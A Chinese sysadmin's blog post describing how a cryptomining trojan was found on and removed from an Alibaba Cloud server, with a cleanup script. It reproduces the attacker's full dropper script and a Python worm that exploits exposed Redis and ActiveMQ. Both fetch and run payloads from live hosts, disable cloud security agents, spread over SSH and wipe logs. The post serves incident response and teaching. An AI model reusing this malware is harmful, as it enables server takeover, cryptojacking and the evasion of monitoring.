今天上午同事说我负责的那个模块不工作了，我登录了一下阿里云服务器排查一下，发现服务器运行很慢。(因为你敲的命令字符回传的很快，但是命令的响应时间长，所以是服务器卡了，而不是网络的问题)
使用top查看一下，发现：
[root@xxx ~]# top %Cpu(s): 99 us, 0.8 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 38657 root 20 0 2047468 5000 2500 S 0.6 0.0 28:37.37 kworkerds 39104 root 20 0 1417372 3900 2144 S 0.6 0.0 9:59.73 kworkerds 16513 root 20 0 1946444 49456 2336 S 0.6 0.2 62:44.23 kworkerds 16589 root 20 0 1154188 3428 1772 S 0.6 0.0 52:17.28 kworkerds 15859 root 20 0 1488564 3756 1652 S 0.6 0.0 56:49.77 kworkerds 11915 root 20 0 15.4g 2.6g 7612 S 0.6 8.2 21:54.61 kworkerds 1987 root 20 0 58576 2468 1540 R 0.6 0.0 0:00.20 kworkerds
抱歉，没有及时截图，大家将就着看吧，大概就是上图的样子，cpu已经占到99%，32GB内存只剩200MB，而单独查看kworkerds进程就是如下结果：
[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds root 1754 1 9 5月16 ? 03:09:29 /tmp/kworkerds root 1963 1 9 5月16 ? 03:27:53 /tmp/kworkerds root 2066 1 9 5月16 ? 03:27:51 /tmp/kworkerds root 2073 1 6 00:33 ? 00:38:24 /tmp/kworkerds root 2093 1 12 5月15 ? 05:04:58 /tmp/kworkerds ......此处省略380个进程 [root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l 385
毫无疑问，就是这家伙在占用服务器资源，因为服务器不是我一个人在用，所以问了同事是否知道是什么服务，同事也不知道，搜索一下，原来这是一个挖矿木马，二话不说先把他kill掉。
[root@xxx ~]# ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
果然，服务器快了很多。但是不能治标不治本，查一下开机启动和定时任务。开机启动没发现问题，定时任务有异常。
[root@XXX ~] systemctl list-unit-files (没发现问题，就不贴进来了) [root@XXX ~] cat /etc/rc.local (没发现问题，就不贴进来了) [root@XXX ~] cat /etc/crontab ... 01 * * * * root run-parts /etc/cron.hourly 02 4 * * * root run-parts /etc/cron.daily 0 1 * * * root /usr/local/bin/dns [root@XXX ~] crontab -l */23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh ##
定时任务有点奇怪，我们去掉"|sh"，用那条命令下载一下它的代码，结果如下：
[root@XXX ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1) #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function b() { pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /tmp/qW3xT.2 /tmp/ddgs.3020 /tmp/ddgs.3020 /tmp/wnTKYg /tmp/2t3ik ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9 ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9 p=$(ps auxf|grep -v grep|grep kworkerds|wc -l) if [ ${p} -eq 0 ];then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi } function d() { ARCH=$(uname -i) if [ "$ARCH" == "x86_64" ]; then (curl -fsSL --connect-timeout 120 https://master.clminer.ru/1/1551434761x2728329064.jpg -o /tmp/kworkerds||wget https://master.clminer.ru/1/1551434761x2728329064.jpg -O /tmp/kworkerds) && chmod +x /tmp/kworkerds /tmp/kworkerds else mkdir -p /var/tmp chmod 1777 /var/tmp (curl -fsSL --connect-timeout 120 https://master.clminer.ru/2/1551434778x2728329032.jpg -o /var/tmp/kworkerds||wget https://master.clminer.ru/2/1551434778x2728329032.jpg -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds /var/tmp/kworkerds fi } function e() { nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovLzE4NS4xMC42OC45MS9yYXcvOThzZGY2OTEnCnRyeToKICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbihkKS5yZWFkKCkpCiAgICBleGVjKHBhZ2UpCmV4Y2VwdDoKICAgIHBhc3M='))" >/dev/null 2>&1 & touch /tmp/.38t9guft0055d0565u444gtjr0 } function c() { chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload (curl -fsSL --connect-timeout 120 http://185.10.68.91/2/2 -o /usr/local/bin/dns||wget http://185.10.68.91/2/2 -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns echo -e "SHELL=/bin/sh PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ # run-parts 01 * * * * root run-parts /etc/cron.hourly 02 4 * * * root run-parts /etc/cron.daily 0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab echo -e "*/10 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh ##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root echo -e "*/17 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh ##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache echo -e "*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh ##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "*/31 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh ##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.hourly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner mkdir -p /etc/cron.daily (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.daily/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner mkdir -p /etc/cron.monthly (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.monthly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner mkdir -p /usr/local/lib/ if [ ! -f "/usr/local/lib/libntpd.so" ]; then ARCH=$(uname -i) if [ "$ARCH" == "x86_64" ]; then (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so elif [ "$ARCH" == "i386" ]; then (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so else (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so fi fi chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "([0-9]{1,3}.){3}[0-9]{1,3}" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh' & done fi touch -acmr /bin/sh /etc/cron.hourly/oanacroner touch -acmr /bin/sh /etc/cron.daily/oanacroner touch -acmr /bin/sh /etc/cron.monthly/oanacroner } function a() { if ps aux | grep -i '[a]liyun'; then wget http://update.aegis.aliyun.com/download/uninstall.sh chmod +x uninstall.sh ./uninstall.sh wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh chmod +x quartz_uninstall.sh ./quartz_uninstall.sh rm -f uninstall.sh quartz_uninstall.sh pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis*; elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi touch /tmp/.a } mkdir -p /tmp chmod 1777 /tmp if [ ! -f "/tmp/.a" ]; then a fi b c port=$(netstat -an | grep :56415 | wc -l) if [ ${port} -eq 0 ];then d fi if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then e fi echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron #
结果就很清楚了，kworkerds这东西就是这个脚本搞得鬼，脚本写的还挺规范的，而且它还自己检查了一下，如果哪个kworkerds如果占用cpu超过80%，就把它kill掉，这样可以防止被一些性能监测软件监测到异常，不过你单个kworkerds确实没有占用超过80%，但是你380多个进程一起跑，总共占用的CPU就达到了99%了啊，当然这不是重点，我们通过脚本，可以看到它都篡改了哪些文件。
chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
当你自己去改动这些文件的时候发现改不动，改不动就对了，人家代码里写的很清楚，自己改的时候先用"chattr -i"解锁，改完之后再用"chattr +i"加锁，你自己手动解锁一下就可以改了。
有意思的是他的木马程序的下载地址是：https://master.clminer.ru/1/1551434761x2728329064.jpg，他居然把图片下载成程序，不要怀疑自己的眼睛，下载下来之后和/tmp/kworkerds(之前运行的程序)用md5sum命令比较过了，就是同样的文件。真是“禽兽之变诈几何哉”。
解决方法：
1.对于脚本和文本文件，把他添加的语句删除;
2.对于被篡改的二进制可执行程序，去别的服务器找相应的程序替换。我的netstat命令就被改成了一个钓鱼网站的网页，我去其他服务器复制了二进制程序改过来的。
清理脚本参考，注意是参考，因为我的服务器里面这些文件本来就是空的，所以可以这样清理，使用的时候大家还是要自己注意一下：
#!/bin/bash ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9 chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload echo "" > /usr/local/bin/dns echo "" > /etc/cron.d/root echo "" > /etc/cron.d/apache echo "" > /var/spool/cron/root echo "" > /var/spool/cron/crontabs/root rm -rf /etc/cron.hourly/oanacroner rm -rf /etc/cron.daily/oanacroner rm -rf /etc/cron.monthly/oanacroner sed -i '/cron.hourly/d' /etc/crontab sed -i '/cron.daily/d' /etc/crontab sed -i '/usr/local/bin/dns/d' /etc/crontab #sed -i '$d' /etc/ld.so.preload rm -rf /usr/local/lib/libntpd.so #/tmp/.a就不要删了，删了之后万一后来再种木马,还要给你卸载一次阿里云盾 #rm -rf /tmp/.a rm -rf /bin/kworkerds rm -rf /tmp/kworkerds rm -rf /usr/sbin/kworkerds rm -rf /etc/init.d/kworker chkconfig --del kworker
回头来说说这个脚本，大致的思路如下：
1.删除阿里云云盾客户端和监控程序(估计是参考了你的博客吧：https://www.cnblogs.com/itfat/p/10469342.html)
2.清理主机环境：停止、删除主机已经存在的其他挖矿程序
3.配置主机环境：下载挖矿程序和配置文件并执行
4.篡改系统文件：防止被运维人员发现异常
5.持续感染主机：设置任务计划，保持更新，持续感染主机
6.清空日志，防止别人发现自己的访问踪迹。
脚本也不止这一个，抛开别的不谈，这家伙写的脚本倒是有几分可借鉴之处。
这还是不算解决问题，日志已经被删了，所以还是要找到根源才行。思来想去应该时redis漏洞的问题，原因如下：
1.最初同事找我的时候说安装完软件之后跑不通，我netstat -lanp | grep 6379一下，发现端口已经在用了，就说是端口被占用了，换一个端口就解决了，回头想想当时真是幼稚了;
2.今天再次出现问题的时候，恰恰又是redis的问题，我自己的模块不能将数据写入redis；
3.redis确实有漏洞，可以让别人通过连接redis登录服务器，具体怎么操作呢？http://blog.jobbole.com/94518/
#! /usr/bin/env python #coding: utf-8 import threading import socket from re import findall import httplib import os IP_LIST = [] class scanner(threading.Thread): tlist = [] maxthreads = 100 evnt = threading.Event() lck = threading.Lock() def __init__(self,host): threading.Thread.__init__(self) self.host = host def run(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect_ex((self.host, 8161)) s.send('google spider ') results = s.recv(1) if str(results): data = "*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh ##" data2 = "*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh ##" conn = httplib.HTTPConnection(self.host, port=8161, timeout=2) conn.request(method='PUT', url='/fileserver/go.txt', body=data) conn.request(method='PUT', url='/fileserver/goa.txt', body=data2) conn.request(method='PUT', url='/fileserver/gob.txt', body=data2) result = conn.getresponse() conn.close() if result.status == 204: headers = {'Destination': 'file:///etc/cron.d/root'} headers2 = {'Destination': 'file:///var/spool/cron/root'} headers3 = {'Destination': 'file:///var/spool/cron/crontabs/root'} conn = httplib.HTTPConnection(self.host, port=8161, timeout=2) conn.request(method='MOVE', url='/fileserver/go.txt', headers=headers) conn.request(method='MOVE', url='/fileserver/goa.txt', headers=headers2) conn.request(method='MOVE', url='/fileserver/gob.txt', headers=headers3) conn.close() s.close() except Exception: pass try: s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.settimeout(2) x = s2.connect_ex((self.host, 6379)) if x == 0: s2.send('config set stop-writes-on-bgsave-error no ') s2.send('flushall ') s2.send('config set dbfilename root ') s2.send('set SwE3SC "\t\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n\t" ') s2.send('set NysX7D "\t\n*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n\t" ') s2.send('config set dir /etc/cron.d ') s2.send('save ') s2.send('config set dir /var/spool/cron ') s2.send('save ') s2.send('config set dir /var/spool/cron/crontabs ') s2.send('save ') s2.send('flushall ') s2.send('config set stop-writes-on-bgsave-error yes ') s2.close() except Exception: pass scanner.lck.acquire() scanner.tlist.remove(self) if len(scanner.tlist) < scanner.maxthreads: scanner.evnt.set() scanner.evnt.clear() scanner.lck.release() def newthread(host): scanner.lck.acquire() sc = scanner(host) scanner.tlist.append(sc) scanner.lck.release() sc.start() newthread = staticmethod(newthread) def get_ip_list(): try: url = 'ident.me' conn = httplib.HTTPConnection(url, port=80, timeout=10) conn.request(method='GET', url='/', ) result = conn.getresponse() ip1 = result.read() ips1 = findall(r'd+.d+.', ip1)[0] for u in range(0, 256): ip_list1 = (ips1 + (str(u))) for g in range(1, 256): IP_LIST.append(ip_list1 + '.' + (str(g))) except Exception: ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"").readline().rstrip() ips2 = findall(r'd+.d+.', ip2)[0] for i in range(0, 255): ip_list2 = (ips2 + (str(i))) for g in range(1, 255): IP_LIST.append(ip_list2 + '.' + (str(g))) pass def runPortscan(): get_ip_list() for host in IP_LIST: scanner.lck.acquire() if len(scanner.tlist) >= scanner.maxthreads: scanner.lck.release() scanner.evnt.wait() else: scanner.lck.release() scanner.newthread(host) for t in scanner.tlist: t.join() if __name__ == "__main__": runPortscan()
病毒的源码结构：https://blog.csdn.net/WangZekun_wolf/article/details/90379755
对于小白来讲，阿里云也给出了解决方案：
https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC
乱七八糟的就说到这里吧。